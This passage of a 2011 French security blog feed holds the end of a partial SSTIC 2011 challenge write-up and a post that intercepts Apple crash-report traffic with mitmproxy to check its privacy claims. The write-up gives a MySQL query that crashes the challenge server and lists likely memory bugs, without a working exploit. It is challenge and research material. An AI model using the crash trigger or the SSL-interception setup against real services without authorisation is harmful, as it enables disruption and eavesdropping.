tables;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+--------+&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;| Tables |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+--------+&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;|&amp;nbsp; users |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+--------+&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;1 row in set (0.05 sec)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mysql&amp;gt; select * from users;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+------+--------+----------------------------------+&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;| id&amp;nbsp;&amp;nbsp; | login&amp;nbsp; | password&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+------+--------+----------------------------------+&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;| 0&amp;nbsp;&amp;nbsp;&amp;nbsp; | root&amp;nbsp;&amp;nbsp; | 3e47b75000b0924b6c9ba5759a7cf15d |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;| 1&amp;nbsp;&amp;nbsp;&amp;nbsp; | guest&amp;nbsp; | a76637b62ea99acda12f5859313f539a |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;| 2&amp;nbsp;&amp;nbsp;&amp;nbsp; | nobody | 6c92285fa6d3e827b198d120ea3ac674 |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;| 3&amp;nbsp;&amp;nbsp;&amp;nbsp; | *&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | 5058f1af8388633f609cadb75a75dc9d |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+------+--------+----------------------------------+&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;4 rows in set (0.05 sec)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mysql&amp;gt; quit;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Bye&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;kevin@slackware:~$&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Nous apprenons donc que &lt;a href="http://en.wikipedia.org/wiki/Seccomp"&gt;seccomp&lt;/a&gt; est employé (1.3.337 en version est il une erreur? En &lt;a href="http://en.wikipedia.org/wiki/Leet"&gt;l33Tsp34K&lt;/a&gt;, ce serait plutôt 3.1.337).&amp;nbsp; Le cassage MD5 des password est immédiat et donne:&lt;br /&gt;"nothing" "interesting" "here" "."&lt;br /&gt;:-) Faisons confiance aux auteurs du challenge. Je pense qu'il n'y a pas de SQL skills particulières à avoir pour ce challenge.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;5/ Reverse!&lt;/u&gt; &lt;br /&gt;Il est donc désormais temps de lire les deux fichiers udf fournis sur le site web. udf semble signifier selon moi "&lt;a href="http://dev.mysql.com/doc/refman/5.1/en/adding-functions.html"&gt;User Defined Function&lt;/a&gt;" ce que confirme le fichier udf.c:&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;kevin@slackware:~$ head udf.c &lt;br /&gt;/*&lt;br /&gt;&amp;nbsp;* CREATE FUNCTION max INTEGER, INTEGER RETURNS INTEGER SONAME "udf_max@udf.so";&lt;br /&gt;&amp;nbsp;* CREATE FUNCTION min INTEGER, INTEGER RETURNS INTEGER SONAME "udf_min@udf.so";&lt;br /&gt;&amp;nbsp;* CREATE FUNCTION abs INTEGER RETURNS INTEGER SONAME "udf_abs@udf.so";&lt;br /&gt;&amp;nbsp;* CREATE FUNCTION concat STRING, STRING RETURNS STRING SONAME "udf_concat@udf.so";&lt;br /&gt;&amp;nbsp;* CREATE FUNCTION substr STRING, INTEGER, INTEGER RETURNS STRING SONAME "udf_substr@udf.so";&lt;br /&gt;&amp;nbsp;*/&lt;br /&gt;&lt;br /&gt;#define _BSD_SOURCE&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;kevin@slackware:~$&lt;/stdio.h&gt;&lt;/span&gt;&lt;/div&gt;Le code fait appel à une structure nommée val, que l'on retrouver dans chacune des fonctions, par exemple:&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;void udf_max(int a, int b, val *result) {&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; result-&amp;gt;value.i = (a &amp;gt; b) ? a : b;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;et la lecture du code .c associé à un peu de désassemblage du .so permet de la reconstituer de cette manière:&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;typedef struct val {&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;int unknown;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /*tout se passe à +4, unknown semble inutilisé (?)&lt;/span&gt;*/&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;union {&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /*i et p sont tous les deux à +4*/&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; int i;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; char *p;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;} value;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;size_t size;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;int (*expand)(struct val *);&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Il faut désormais trouver un moyen d'exploiter la BdD on line. Je parviens déjà à la faire crasher:&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;mysql&amp;gt; select concat(3,'b');&lt;br /&gt;ERROR 2013 (HY000): Lost connection to MySQL server during query&lt;br /&gt;mysql&amp;gt;&lt;/span&gt;&lt;/div&gt;mais n'arrive pas au delà. SECCOMP complique l'exploitation, les seuls appels systèmes acceptés sont &lt;tt&gt;exit()&lt;/tt&gt;, &lt;tt&gt;sigreturn()&lt;/tt&gt;, &lt;tt&gt;read()&lt;/tt&gt; et &lt;tt&gt;write()&lt;/tt&gt; aux file descriptors déjà ouverts. &lt;br /&gt;&lt;br /&gt;Pour exploiter tout ça, on a quelques pistes: le code C utilise plusieurs fois des memcpy() qui est une fonction dangereuse, le code de retour de realloc() n'est pas vérifié, et la structure val fait un appel à la fonction expand via un pointeur (mais est il modifiable?). Enfin, le problème n'est peut-être pas lié à cette bibliothèque .so, mais au serveur SQL lui-même (après tout, l'auteur du nouveau système de gestion de base de données révolutionnaire est étourdi :-) ).&lt;br /&gt;Un nmap sur l'adresse IP n'affiche que deux ports ouverts, le 80 et le 3306.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;6/ This is the end, my friend&lt;/u&gt;&lt;br /&gt;Je ne suis pas allé plus loin, bloqué par le reverse crypto et l'attaque du service en ligne. Je vais donc attendre la publication des résultats pour voir où j'ai pêché, si je suis passé à côté d'autres indices, et si j'avais raison dans la progression du challenge. J'aurai loisir de renommer ce post de blog en "&lt;i&gt;plus ou moins proche de la solution&lt;/i&gt;". Je suis curieux de savoir si les organisateurs du concours vont donner les logs du serveur pour connaître le nombre de connexions, les tentatives réalisées, et s'ils publieront le code de celui-ci pour que l'on s'entraîne hors ligne.&lt;br /&gt;&lt;br /&gt;Pour résumer:&lt;br /&gt;-le service en ligne permet de connaître secret1.dat&lt;br /&gt;-Il y a de grandes chances que la fonction publiée sur pastebin permette de reverser plus facilement la lib et donc de trouver secret2.dat, dommage qu'elle ne soit plus disponible.&lt;br /&gt;-Avec secret1.dat et secret2.dat je pense que la video se lira correctement et dévoilera l'adresse mail tant recherchée :-) A moins qu'il ne s'agisse que d'une première étape et que la video indique seulement ou continuer la quête pour aller encore un peu plus loin.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Comme dit en introduction, ce challenge est vraiment riche en contenu et en rebondissements.. Aller attaquer un service en ligne, penser à retrouver de l'info sur pastebin, écrire un outil d'extraction de données, reverser des libs, creuser dans la doc mp4 pour lire les atom, etc.. tout ça à partir d'un simple fichier video, en fait un challenge très plaisant.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;i&gt;Thx 2 NR pour les échanges par mail.&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/File_descriptor" title="File descriptor"&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-8328086387972882587?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/8328086387972882587/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/05/solution-partielle-du-challenge-sstic.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/8328086387972882587'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/8328086387972882587'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/05/solution-partielle-du-challenge-sstic.html' title='Solution partielle du challenge SSTIC 2011 -- Si loin, si proche.'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-kQtx8KMyDjQ/TdzMJNPFCRI/AAAAAAAAAE0/o0agvObMaqY/s72-c/introduction.txt.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-9206063850775678822</id><published>2011-05-23T16:13:00.001+02:00</published><updated>2011-05-23T16:40:24.118+02:00</updated><title type='text'>Envoi du rapport de bug chez Apple: confidentiel ou pas?</title><content type='html'>Si vous utilisez un Mac, vous avez déjà pu voir cette fenêtre:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-53fbXJfan8I/Tdpf-tdlG4I/AAAAAAAAAEY/f7issWksdEU/s1600/Image+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="159" src="http://4.bp.blogspot.com/-53fbXJfan8I/Tdpf-tdlG4I/AAAAAAAAAEY/f7issWksdEU/s400/Image+1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&amp;nbsp;Le bouton &lt;i&gt;Rapport...&lt;/i&gt; envoie un rapport à apple, dont le contenu est présenté dans une seconde fenêtre:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-xp_TmLuqSP0/TdpousMGb3I/AAAAAAAAAEs/S-BH_K66cwo/s1600/rapport-diagnostic.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="280" src="http://3.bp.blogspot.com/-xp_TmLuqSP0/TdpousMGb3I/AAAAAAAAAEs/S-BH_K66cwo/s400/rapport-diagnostic.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;On lit qu'aucune information personnelle n'est transmise. Est-ce le cas, et peut on avoir confiance dans cette déclaration d'intention? Petit exercice technique pour s'en assurer.&lt;br /&gt;&lt;br /&gt;0/ Préalablement: obtenir une méthode provoquant un crash d'application :-)&lt;br /&gt;Je sais comment crasher à volonté le serveur X de mac OS X.5 via une méthode parfaitement reproductible; c'est suffisant.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1/ Cassons du SSL dans la joie et la bonne humeur.&lt;br /&gt;L'envoi des données se fait chez https://radarsubmissions.apple.com ; étant chiffré par SSL, il est difficile d'en connaître le contenu à l'aide d'un simple &lt;a href="http://www.tcpdump.org/"&gt;tcpdump&lt;/a&gt;.&lt;br /&gt;Je dispose d'un outil appelé &lt;a href="http://mitmproxy.org/"&gt;mitmproxy&lt;/a&gt; qui permet de répondre à ce genre de problèmes. Ce proxy sait "casser" le SSL en générant à la volée un certificat du nom du site distant consulté. Il suffit alors de se positionner sur le proxy pour connaître le contenu des échanges malgré le SSL [lire &lt;a href="http://exploitability.blogspot.com/2010/01/ssltls-fiable-ou-faible.html"&gt;ce post de blog&lt;/a&gt; et &lt;a href="http://news0ft.blogspot.com/2010/04/ssl-est-casse.html"&gt;celui-là&lt;/a&gt; pour plus d'infos sur la fiabilité de SSL].&lt;br /&gt;Il est toutefois nécessaire d'importer dans MacOS la CA de mitmproxy afin qu'il truste les certificats générés sans aucun warning.&lt;br /&gt;&lt;br /&gt;J'installe donc le certificat racine, puis crash X11, et consulte la page envoyée:&lt;br /&gt;&lt;u&gt;&lt;b&gt;headers&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;content-length: 12064&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;proxy-connection: close&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;host: radarsubmissions.apple.com&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;user-agent: SubmitReport (unknown version) CFNetwork/438.16 Darwin/9.8.0 (i386) (iMac8%2C1)&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;connection: close&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;content-type: multipart/form-data; boundary=\"Apple-Multipart-Form-Message-327837225\"&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;timestamp: 1306144341.509594&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;method: POST&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;content: LS1BcHBsZS1NdWx0aXBhcnQtRm9ybS1NZXNzYWd(snip le base64..)&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;2/ décodage des données envoyées:&lt;br /&gt;Le content est en base64. Ca se décode très facilement. Nous obtenons donc un Apple-Multipart-Form-Message:&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;--Apple-Multipart-Form-Message-327837225^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Content-Disposition: form-data; name="url_from"^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Content-Type: text/plain^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;3D2666A2-BAF0-4C1F-B163-2ED70C4EE55F^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;--Apple-Multipart-Form-Message-327837225^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Content-Disposition: form-data; name="os_version"^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Content-Type: text/plain^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;10.5.8:9L30^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;--Apple-Multipart-Form-Message-327837225^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Content-Disposition: form-data; name="machine_config"^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Content-Type: text/plain^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;iMac8,1 (2048 MB)^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;--Apple-Multipart-Form-Message-327837225^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Content-Disposition: form-data; name="crashreporter_key"^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Content-Type: text/plain^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;^M&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ceci ce lit très bien puisqu'il s'agit de texte, sauf deux champs:&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Content-Disposition: form-data; name="page_source"^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Content-Type: text/plain^M&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Content-Transfer-Encoding: deflate^M&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Pour décoder ce champ, il existe pleins de solutions, j'ai fait au plus simple avec &lt;a href="http://www.zlib.net/zpipe.c"&gt;zpipe.c&lt;/a&gt;. Ce champ correspond à l'onglet "&lt;i&gt;Détails du problème&lt;/i&gt;" du rapport de problème.&lt;br /&gt;&lt;br /&gt;Le second champ:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;Content-Disposition: form-data; name="system_profile"^M&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;Content-Type: text/plain^M&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;Content-Transfer-Encoding: base64^M&lt;/span&gt;&lt;/div&gt;est de nouveau du base64 qui se décode aussi très bien; on constate que le contenu est celui de l'onglet "&lt;i&gt;Configuration système&lt;/i&gt;" du rapport de problème. &lt;i&gt;&lt;span style="font-size: x-small;"&gt;Une remarque amusée sur ce champ: La configuration système est un simple texte. Ce texte est wrappé en xml, puis en base64. L'embonpoint guette :-)&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;3/ Tout est honnête, alors?&lt;br /&gt;Eh bien il faut avouer que le SSL n'est pas employé dans le but cacher quelque chose à l'utilisateur. Le contenu de ce qui est envoyé à apple n'est ni plus ni moins que ce qui est indiqué dans la fenêtre de "Rapport de problème".&lt;br /&gt;&lt;br /&gt;Le seul point qui me gène reste cette notion d'"&lt;i&gt;Anonymous UUID&lt;/i&gt;". La &lt;a href="http://www.apple.com/fr/privacy/"&gt;documentation chez Apple&lt;/a&gt; dit que l'identifiant unique permet d'identifier de manière unique une machine sans identifier son utilisateur.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-YC_j2sDpchI/Tdpo3PVG7wI/AAAAAAAAAEw/VnzGgsu96Tc/s1600/anonymous.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="280" src="http://1.bp.blogspot.com/-YC_j2sDpchI/Tdpo3PVG7wI/AAAAAAAAAEw/VnzGgsu96Tc/s400/anonymous.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-L9pOPM_PgKc/TdpnWJiujEI/AAAAAAAAAEo/iizFxPRrq4I/s1600/anonymous.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;/div&gt;La doc du Mac reste assez muette sur cet UUID. Le programme &lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;/usr/bin/uuidgen&lt;/span&gt;&lt;/span&gt; permet de générer des UUID sans qu'ils ne soient jamais identiques à celui-ci. Cet UUID reste étonnement stable dans le temps et au travers des reboots.  Je suis curieux de savoir ou cet identifiant est utilisé et ce qu'il permet de corréler comme information. Je ne pense pas qu'il soit essentiel pour apple de différencier de manière certaine les machines émettrices des rapports de problèmes. Les détails et la configuration système devrait être suffisante.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-9206063850775678822?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/9206063850775678822/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/05/envoi-du-rapport-de-bug-chez-apple.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/9206063850775678822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/9206063850775678822'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/05/envoi-du-rapport-de-bug-chez-apple.html' title='Envoi du rapport de bug chez Apple: confidentiel ou pas?'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image 